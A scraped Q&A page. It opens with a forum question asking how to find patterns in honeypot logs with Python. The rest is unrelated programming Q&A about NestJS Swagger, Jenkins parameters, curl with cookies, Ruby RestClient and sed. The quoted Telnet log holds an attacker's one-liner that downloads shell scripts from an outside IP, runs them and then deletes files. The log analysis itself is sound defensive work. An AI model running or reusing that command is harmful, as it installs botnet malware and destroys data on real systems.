analysing log files of honeypots - logfile

[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:08]: New Telnet session established!
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:42]: rsh
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:46]: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.25/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.25 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.25; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.25 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:46]: >>Executing: /usr/bin/wget
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>Executing: /bin/chmod
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>Executing: ./ebs
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>Executing: Honeypot Provocation Engine
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>HP_Exec: /sbin/lsmod
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>Executing: /bin/rm
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:47]: >>Executing: /usr/bin/wget
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>Executing: /bin/chmod
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>Executing: Honeypot Provocation Engine
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>HP_Error: -22
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>Executing: /bin/rm
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>Executing: Honeypot Provocation Engine
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:48]: >>Executing: /usr/bin/wget
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:49]: >>Executing: /bin/chmod
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:49]: >>Executing: Honeypot Provocation Engine
[IPv4: 36.151.15.94:56447 ][Session ID: 2][2017-07-25 17:19:57]: Session end!
I have thousands of log files like this and i want to identify the pattern among these as most of the commands used are same in all log files please let me know how to proceed or what methods to use in python??

Related

Swagger Docs multipart/form-data array format (NestJs)

I've the following dto:
export class CreatePersonDto {
#IsString()
#ApiProperty({
description: 'Person name',
example: 'Jhon Doe',
})
readonly name: string;
#ValidateIf((object, value) => value)
#IsString({ each: true })
#ApiProperty({
description: 'Clothes ids',
isArray: true,
type: String,
})
readonly clothes: string[];
}
This is the cURL generated by Swagger Ui:
(Unable to parse this in NestJs to a string array)
curl -X 'POST' \
'http://localhost:3000/person' \
-H 'accept: */*' \
-H 'Content-Type: multipart/form-data' \
-F 'name=Jhon Doe' \
-F 'clothes=id1,id2'
(Clothes are sent as a string)
The array form in the UI looks like this:
This is the expected cURL (Generated by postman, or manually):
(Nestjs automatically parse this to an array)
curl -X 'POST' \
'http://localhost:3000/person' \
-H 'accept: */*' \
-H 'Content-Type: multipart/form-data' \
-F 'name=Jhon Doe' \
-F 'clothes[0]=id1' \
-F 'clothes[1]=id2'
(Clothes are correctly send as an array)
How can i solve this problem with swagger?

How to set default value Jenkins active choice parameter as a script

I have a Jenkins pipeline That has parameters defined via active choice parameter,
defining a default value is done by:
defaultValue: '',
you can put a string there or leave it empty which will give you the default result of the groovyScript.
I am trying to change the default parameter using a script so it will take the value using a groovy script.
This is the snippet of the relevant part of the pipeline:
parameters([
extendedChoice(
bindings: '',
defaultValue: '',
groovyClasspath: '',
groovyScript:"""
def proc = ["bash","-c","/usr/local/bin/aws s3 ls s3://Spark-Jenkins-Clusters/"].execute() | ["bash","-c","cut -c32-"].execute()
proc.waitForOrKill(10000)
return proc.text.tokenize()
""",
multiSelectDelimiter: ',',
name: 'Choose_Cluster',
description: 'This parameter is nice',
quoteValue: false,
saveJSONParameterToFile: false,
type: 'PT_SINGLE_SELECT',
visibleItemCount: 5
),
So The way to do that is to use "defaultGroovyScript",
I didn't find it in the documentation I just saw an option in the UI and tried it and luckily it worked:
This is what I finally did:
parameters([
extendedChoice(
bindings: '',
defaultGroovyScript: """
def proc = ["bash","-c","/usr/local/bin/aws s3 ls s3://Spark-Jenkins-Clusters/"].execute() | \
["bash","-c","sort"].execute() | \
["bash","-c","sed 's/PRE//g'"].execute() | \
["bash","-c","grep main"].execute() | \
["bash","-c","tail -n 1"].execute() | \
["bash","-c","tr -d '/'"].execute()
proc.waitForOrKill(10000)
return proc.text.tokenize().reverse()
""",
groovyClasspath: '',
groovyScript:"""
def proc = ["bash","-c","/usr/local/bin/aws s3 ls s3://Spark-Jenkins-Clusters/"].execute() | ["bash","-c","cut -c32-"].execute()
proc.waitForOrKill(10000)
return proc.text.tokenize()
""",
multiSelectDelimiter: ',',
name: 'Choose_Cluster',
description: 'This parameter is nice',
quoteValue: false,
saveJSONParameterToFile: false,
type: 'PT_SINGLE_SELECT',
visibleItemCount: 5
),

How to download file using curl with username/password and cookies?

I am trying to download data from secure HTTP. I need to pass cookies in order to get past the login and download the data. I try:
curl --u "username" --d "https://url.datasite.login" --cookie-jar
auth.cookies
curl --cookie auth.cookies -O "https://url.datalocation.file"
However after running the first command I'm given:
curl: no URL specified!
I've tried rearranging the order, changing quotations, using <> for the username, setting the username and url as environmental variables, etc. Neither seem to do the trick. Have also changed the shell from tcsh to bsh and have tried using "wget" instead which retrieves a 400 Error.
Here's my commands for using cookies for curl:
# testing to see before login
curl http://localhost:3000/me
# undefined
# login
curl --cookie cookies.txt --cookie-jar cookies.txt \
-X POST -H 'Content-type: application/json' \
--data '{"username":"blahblahblah"}' \
http://localhost:3000/login
# OR--
# curl --cookie cookies.txt --cookie-jar cookies.txt \
# -X POST -H 'Content-type: application/x-www-urlencoded' \
# --data 'username=blahblahblah' \
# http://localhost:3000/login
# verify that we are logged in
curl --cookie cookies.txt http://localhost:3000/me
# blahblahblah
# download the file, (usually curl http://thing/file > file)
curl --cookie cookies.txt --cookie-jar cookies.txt \
http://localhost:3000/download
# helloworldfile
and the sample application i developed to test it with:
var express = require('express');
var session = require('express-session');
var app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(session({
secret: 'keyboard cat',
resave: false,
saveUninitialized: true,
cookie: {}
}));
app.get('/login', (r, s) => s.send(`<html>
<body>
<form method="post">
<input type="text" name="username" />
<input type="submit" />
</form>
</body>
</html>`));
app.post('/login', (req, res) => {
var { username } = req.body
if (username && username.length && username.length > 5) {
req.session.login = username;
res.end();
} else {
res.end('bad login\n');
}
});
app.get('/me', (r, s) => s.send(r.session.login + '\n'));
app.get('/download', (req, res) => {
if (!req.session.login)
return res.send('bad login\n');
res.set({
'Content-Description': 'File Transfer',
'Content-Type': 'text/plain',
'Content-Disposition': 'attachment; filename="data.txt"',
'Content-Transfer-Encoding': 'binary',
'Expires': '0',
'Cache-Control': 'must-revalidate, post-check=0, pre-check=0',
'Pragma': 'public',
'Content-Length': '14'
});
res.end('helloworldfile');
});
app.listen(3000);

How to convert a specific curl code to ruby code with restclient

I would like to convert following curl code to ruby.
curl -u "my_username":"my_pass" \
-X POST \
-F "positive_examples=#/Users/abc/Downloads/tiger.zip" \
-F "negative_examples=#/Users/abc/Downloads/leopard.zip" \
-F "name=tiger" \
"http://localhost/api/v2/class"
Finally, I could convert the curl example to Ruby, follow the example in ruby:
request = RestClient::Request.new(method: :post,
url: 'http://localhost/api/v2/class',
user: 'my_username',
password: 'my_pass',
payload: {multipart:true,
positive_examples:File.new("/Users/abc/Downloads/tiger.zip", 'rb'),
negative_examples:File.new("/Users/abc/Downloads/leopard.zip", 'rb')
name:'tiger'})
RestClient::Request.execute method: :post,
url: 'http://localhost/api/v2/class',
user: 'my_username',
password: 'my_pass',
payload: {
multipart: true,
positive_examples: File.new('/Users/abc/Downloads/tiger.zip', 'rb'),
negative_examples: File.new('/Users/abc/Downloads/leopard.zip', 'rb'),
name: 'tiger',
}
Simply read the gem's README.

sed parsing values that don't exist seems to behave inconsistently

I have a file with the following lines in it:
bash$ cat blah.txt
<smsDeliveryStatus value="Provider Malfunction"/>
<smsDeliveryStatus value="Provider Malfunction" id="23434"/>
<smsDeliveryStatus value="Delivery Failure"/>
<smsDeliveryStatus value="Delivery Successful" id="2"/>
bash$
I want to extract value and id from the file for each line and where either value or id do not exist I want to print unknown. I wrote the following code which seems to fail some of the time on setting id to unknown and some of the time it fails:
bash$ cat blah.txt | sed -nr "/smsDeliveryStatus /{h; /value/ {s/.*value=\"([^\"]*)?\".*/value: \1/}; /value/! {s/.*/value: Unknown/}; p; x; /id/ {s/.*id=\"([^\"]+)\".*/id: \1/g}; /id/! {s/.*/id: Unknown/g}; p}"
This yields the following result from the above file:
value: Provider Malfunction
<smsDeliveryStatus value="Provider Malfunction"/>
value: Provider Malfunction
id: 23434
value: Delivery Failure
id: Unknown
value: Delivery Successful
id: 2
Bizarrely the first line with id missing is printed out in full and the second line with id missing sets id to unknown as expected. Can anyone shed any light on why this is happening? What is the difference between the first time /id/! is read and the second time?
A
I added multiple lines to the file like so:
bash$ cat blah.txt
<smsDeliveryStatus value="Provider Malfunction"/>
<smsDeliveryStatus value="Provider Malfunction" id="23434"/>
<smsDeliveryStatus value="Delivery Failure"/>
<smsDeliveryStatus value="Delivery Successful" id="2"/>
<smsDeliveryStatus value="Provider Malfunction"/>
<smsDeliveryStatus value="Delivery Failure"/>
<smsDeliveryStatus value="Delivery Successful" id="2"/>
<smsDeliveryStatus value="Provider Malfunction" id="23434"/>
<smsDeliveryStatus value="Delivery Failure"/>
<smsDeliveryStatus value="Provider Malfunction"/>
bash$
When I ran the code again I got the following:
bash$ cat blah.txt | sed -nr "/smsDeliveryStatus /{h; /value/ {s/.*value=\"([^\"]*)?\".*/value: \1/}; /value/! {s/.*/value: Unknown/}; p; x; /id/ {s/.*id=\"([^\"]*)\".*/id: \1/g}; /id/! {s/.*/id: Unknown/g}; p}"
value: Provider Malfunction
<smsDeliveryStatus value="Provider Malfunction"/>
value: Provider Malfunction
id: 23434
value: Delivery Failure
id: Unknown
value: Delivery Successful
id: 2
value: Provider Malfunction
<smsDeliveryStatus value="Provider Malfunction"/>
value: Delivery Failure
id: Unknown
value: Delivery Successful
id: 2
value: Provider Malfunction
id: 23434
value: Delivery Failure
id: Unknown
value: Provider Malfunction
<smsDeliveryStatus value="Provider Malfunction"/>
bash$
Which led me to see that all of the unmatched lines had the letters id in them so I solved it using \b word boundaries around the id like so:
bash$ cat blah.txt | sed -nr "/smsDeliveryStatus /{h; /value/ {s/.*value=\"([^\"]*)?\".*/value: \1/}; /value/! {s/.*/value: Unknown/}; p; x; /\bid\b/ {s/.*id=\"([^\"]*)\".*/id: \1/g}; /\bid\b/! {s/.*/id: Unknown/g}; p}"
value: Provider Malfunction
id: Unknown
value: Provider Malfunction
id: 23434
value: Delivery Failure
id: Unknown
value: Delivery Successful
id: 2
value: Provider Malfunction
id: Unknown
value: Delivery Failure
id: Unknown
value: Delivery Successful
id: 2
value: Provider Malfunction
id: 23434
value: Delivery Failure
id: Unknown
value: Provider Malfunction
id: Unknown
bash$ cat blah.txt
So in the end I solved it myself. I hope this helps someone else though.
A

Resources